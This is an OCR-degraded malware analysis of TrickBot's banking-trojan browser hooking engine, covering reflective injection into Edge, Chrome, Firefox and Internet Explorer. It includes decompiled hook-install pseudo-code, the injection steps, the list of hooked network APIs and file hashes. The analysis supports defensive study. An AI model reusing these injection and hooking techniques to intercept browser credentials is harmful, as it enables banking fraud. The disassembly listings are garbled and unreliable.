How TrickBot Malware Hooking Engine Targets Windows
10 Browsers
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Vitali Kremez revealing how TrickBot’s hooking engine targets Chrome, Firefox, Explorer and
Edge in Windows 10.

What is TrickBot Malware? Background & Summary

TrickBot banking_malware remains one of the more interesting and continually developing
malware on the financial crimeware landscape. It employs multiple means and methods to
exploit compromised machines of interest. The focus of this post is to cover in-depth some of
its Windows 10 Microsoft Edge and other browser hooking engine functionality. We will focus
on the internals, and how TrickBot leverages these browsers to set up hooks for API calls of
interest. The ultimate goal of the malware browser hooking is predominantly to intercept
online banking credentials before they become SSL encrypted. The stolen credentials can
subsequently be used for account takeover (ATO) fraud.
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https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/
https://www.sentinelone.com/blog/trickbot-technical-analysis-banking-trojan-malware/
https://www.sentinelone.com/blog/7-ways-hackers-steal-your-passwords/
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Since Windows 10 came with a new browser, “Microsoft Edge”,  TrickBot operators needed
their banking malware to operate on that software. To implement form-grabbing and web
injections in the Windows 10 Edge browser, TrickBot’'s rogue rtlbroker hooks the
microsoftedgecp.exe process. Normally, runtimebroker.exe is the parent process of
the Microsoft Edge browser on Windows 10 machines.

TrickBot Browser Process Injection Technique “Reflective Loader”

In order to hook browser functions, TrickBot malware injects the payload into the browser of
choice via the so-called “ReflectiveLoader” methodology.

The TrickBot process injection function targets four browsers from Microsoft Edge to Google
Chrome and one Microsoft Edge related process.
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https://www.sentinelone.com/blog/32-security-reasons-to-move-to-windows-10/

ds:0DpenProcess
edi, eax
[ebp+hProcess],
edi, edi
loc_188845EE

; duProcessld
: bInheritHandle
; dubesiredAccess

2019-10-23: TrickBot
Banking Malware

edi

Injection Browser
Target

L

=
push
(F]
push
call

offset Srch ;3 “chrome.exe"

EDp+peE .SZEXEF11e
s 1pFirst

ds:StrStrIn

ecx, [ebp+pe.szExeFile]

offset alexplore_exe ; "iexplore.exe"
F} = L

[ebp+var_4B5]
ds:StrStriIA

ecx, [ebp+pe.szExeFile]
eax, ecx

; “Firefox.exe"

[ebp+var_4GC3]
ds:StrStrIn

ecx, [ebp+pe.szExeFile]
eax, Bcx

pF1rs
[ebp+var_4B7]
ds:StrStrIna

ecx, [ebp+pe.szExeFile]
eax, ecx

set akuntimebroker_ ; "runtimebroker.exe
% U

[ebp+var_4B9]
ds:StrStrIn

ecx, [ebp+pe.szExeFile]
eax, BCX

100.00% (2481,2695) (0,1) 000032F0 10003EF0: brows (Synchronized with Hex View-1

TrickBot injects the malware targeting the following processes:

e chrome.exe
e iexplore.exe
o firefox.exe

e microsoftedgecp.exe
e runtimebroker.exe

The malware also “relaxes”  browser security and write changes files locally before

injection occurs.
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push i

push afFset aDllfndTargetPr ; “DLL and target process nust be Same arc™...
push afFset 2% Errord & 3 *[=] ¥s. Error=3dvein®

call Fumc_putpuk

add [

jmp loc_ 10063 1N

loc_10088612F : : IE KREF
Suls_10D0SADE
Moedile ] , eax

C_TRRBG 150
etLastError

afFset atouldHetGetRef ; "Could not get reflective loader effFset\™...
push afFset al_Evrord 6 3 “[=] 3¥S. Error=gdyrin™

2019-10-23: TrickBot Banking Malware Injection
Browser Target

: arglist

afFset afllocateddemor ; ““Allecabed nemory address in remote prac™...
Func_putput

BXPy

afFset dward T00AF
[ ebops L pBasefddre 54
esi

ds 1l teProcessHer

= lpHumber0FBytesWitten
+ niize
s [Ebp*BufFer])

[|'|l:|l|||'J'|I| |-'.'.]
: hProcess
iteProcessHemory

ir||1|||i||'||-]

ellcode ; “Wrote shellcode to GxEx\rin”

TrickBot’s reflective injection works as follows:

o Open target process and allocate memory address in remote process via
VirtualAllocEx

e Copy function writeProcessMemory into the allocated memory space

o Copy shellcode writeProcessMemory into the allocated memory space

e Call FlushInstructionCache APIto make sure our changes are written right away

e Call inject RemoteThread function call

e Call ResumeThread

o Else, call undocumented API function RtlCreateUserThread to start execution in the
remote process, using the offset address of the reflective loader function as the entry
point.
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TrickBot Malware Hooking Engine

When the TrickBot banker hooks the API function, it enters the new hooked one and checks
to make sure the process is microsoftedgecp.exe while passing control to the original
one when the hooked function concludes.

TrickBot_CreateHook Main proc near

push offset address_of_original_CreateProcessi

push offset TB_CreateProcessA

nov edx, offset aCreateprocessa ; “CreateProcessa™

call TB_CreateHookAPI

mov ecx, dword 18813E74

nov edx, offset aCreateprocessw ; "CreateProcessif

push offset address_of_original_CreateProcessy

push offset TBE_CreateProcessl

nov dword_10813E8B8[ecx=l], eax

inc ecx

nov dword_18813E74, ecx

call TB_CreateHookAPI

mov ecx, dword 18813E7L4

now edx, offset aCreateproces_8 ; “"CreateProcessAsUserA™

push offset address_of_original_CreateProcessAslsern

push offset TB_CreateProcessAslUsern

now dword_186813E8B[ecx=4], eax

inc ecx

now dword_186813E74, ecx

call TE_CreateHookAPI

nov ecx, dword_18613E74

now edx, offset aCreateproces_1 ; “CreateProcessAsUsery”

push offset address _of_original_CreateProcessAslUsery

push offset TB_CreateProcessAslUsery

mov dword_18B13E8B[ecx=4], eax

inc ecx

now dword_186813E74, ecx . .
call  TB _CreateHookAPI 2019-10-23: TrickBot Banking
now ecx, dword_10813E74 .
add  esp, 260 Malware Create Hook Main
nov dword_18013E88[ecx=4], eax .

inc ecx Example | Function Prototype
mov dword_18813E7Y4, ecx

retn

TrickBot_CreateHook_HMain endp

The basic TrickBot banking APl hooking template is as follows:
"CreateHook_API" Function Template ->
{ int CreateHook_API(LPCSTR DLL_name, int original_function_name,

int myHook_function, int address_of_original_function) }

By and large, TrickBot hooking engine works via overwriting the basic API with the redirect
functions with the 0xe9 opcode, which is the call for a jump with 32-bit relative offset.
TrickBot uses a trampoline function and the write hook call with the VvirtualProtectEx API

6/10


http://jbremer.org/x86-api-hooking-demystified/#ah-trampoline

to make sure that the function has the 0x40 (PAGE_EXECUTE_READWRITE) property.
Additionally, it attempts to conceal detection of this hooking technique via prepending NOP
and/or RETN.

The exact TrickBot hook pseudo-code is as follows:
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1177777777777 77777777777/7777777/7777777/7777777/7777/777/7/777/77/7/7777
//////////7///7// TrickBot Hook Install Function ///////////////////////
L1177 77777777777777777777777777/7777777/77777/77//7777/77/77/77/7/7/77777
signed int __cdecl TrickBot_Hook_Install(int myHook_function, int *function_address)
{

char *original_function;

char *current_func_id_thread;

int v5;

char jump_len;

signed int result;

SIZE_T v8;

void *trampoline_lpvoid;

int vi10;

int vii;

unsigned __int8 jmp_32_bit_relative_offset_opcode;

int relative_offset;

DWORD flOldProtect;

original_function = func_name;

current_func_id_thread = func_name + 0x24;

iter_func(func_name + 0x24, 0x90, 0x23);

if ( function_address ) // Attempts to prepend "0x90" (nop) or "OxC3"
(retn) to jump length to avoid basic hooking detect

jump_len = walker_byte_O(*(_BYTE **)(original_function + 1),

(int)current_func_id_thread, v5);

else

jump_len = 5; // jump_length_trampoline -> 5

original_function[5] = jump_len;

if ( !'jump_len )
goto LABEL_12; // Setting up the trampoline buffer
write_hook_iter((int)(original_function + 6), *(_BYTE **)
(original_function + 1), (unsigned __int8)jump_len);

if ( function_address )
*function_address = (int)current_func_id_thread;

relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;

v8 = (unsigned __int8)original_function[5];

trampoline_lpvoid = *(void **)(original_function + 1);

jmp_32_bit_relative_offset_opcode = OxE9u; // "OXE9" -> opcode
for a jump with a 32bit relative offset

if ( VirtualProtectEx((HANDLE)OXFFFFFFFF, trampoline_lpvoid, v8, 0x40u,

&fl0ldProtect) ) // Set up the function for "PAGE_EXECUTE_READWRITE" w/
VirtualProtectEx
{
vli0 = *(_DWORD *)(original_function + 1);

vil (unsigned __int8)original_function[5] -
(_DWORD)original_function - 0x47;

original_function[66] = OXE9u;

*(_DWORD *)(original_function + 0x43) = v10 + vi11;

write_hook_iter(v10, &jmp_32_bit relative_offset_opcode, 5); // ->
Manually write the hook

VirtualProtectEx( // Return to original protect state
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(HANDLE ) 0XFFFFFFFF,

*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
floldProtect,

&fl0ldProtect);

result = 1;

For instance, TrickBot malware sets up its own custom myCreateProcessA function
prototype after the hook on CreateProcessA . The idea is to catch any instance of
microsoftedgecp.exe execution to intercept it for subsequent injection. This function
ultimately returns the flow back to CreateProcessA after intercepting and collecting
necessary process execution information.

T1HUUTHHG
;100061008
:108061080C
:18668188D
18081811
1080610813
18061819
:1868181F
18081825
18061827
:180061062D
1868681838
18001832
18061835
18001837
18081839
18001038
10001048
18001841
:180081847
- 100061049
10001048
100016048 loc_10800104B:
18001048
:10061064D
:1800104F
1808681854
;10800610855
1000610858
:1800185D
:18088185F
:1006165F loc_10006165F:
:18001085F
180081862
180681865
10001068
:1000106B
:1888186E
18081871
180010872
18001875
180681878
180010878
:18001087C
:1800167D
186061883
18001088
: 180061680 call

ecx, otHrset unk_T1WMIZEYE |
edi

eax
xadd [ecx], eax

2019-10-23:

§ ; duMill
hMutex ; hHandlg
ds:WaitForSingleObject
hiMutex ;5 hMutex
esi, eax

ds:ReleaseMutex

edi, [ebp+lpFirst]

esi, esi

esi, [ebp+arg_4]

short loc_10081892

ds:StritriIn
eax, eax
short loc_1868185F

; CODE XREF: TB_CreateProcessA+39Tj

dsStritrin
eax, eax
short loc_10081092

; CODE XREF: TB_CreateProcessa+49Tj
[ebp+arg_24] ; _DWORD
eax, [ebp+arg_14]
[ebpt+arg 5 _DWORD
eax, OFF
[ebp+arg
[ebp+arg_18]
eax
[ebp+arg_18]
[ebp+arg_C]
[ebp+arg_B8]

DWORD

esi, eax
ds:Sleef

TrickBot

Banking Malware |
myCreateProcessA Hook
Function

The following four API calls being hooked are in the child Microsoft Edge via rogue

rtlbroker.dll , allowing TrickBot operators to intercept and manipulate Microsoft Edge

calls:

CreateProcess
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW
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TrickBot hooks Internet Explorer and Microsoft Edge in wininet.d11 library API calls:

o HttpSendRequestA

o HttpSendRequestW

o HttpSendRequestExA
o HttpSendRequestExW
 InternetCloseHandle
¢ InternetReadFile

¢ InternetReadFileExA
 InternetQueryDataAvailable
o HttpQuerylnfoA

¢ InternetWriteFile

o HttpEndRequestA

o HttpEndRequestW

« InternetQueryOptionA
« InternetQueryOptionW
¢ InternetSetOptionA

¢ InternetSetOptionW

o HttpOpenRequestA

o HttpOpenRequestW
e InternetConnectA

e InternetConnectW

The malware hooks Mozilla Firefox Browser in nspr4.d11 library API calls:

PR_OpenTCPSocket
PR_Connect
PR_Close

PR_Write

PR_Read

It hooks Chrome in chrome.dll library API calls:

e ssl read
e ssl_write
Reference
injectDII32.dlI C546D40D411DOFOBB7A1C9986878F231342CDF8B
rtibrokerDIl.dll 0785D0C5600D9C096B75CC4465BE79D456F60594

testnewinj32DIl.dll D5F98BFF5E33A86B213E05344BD402350FC5F7CD
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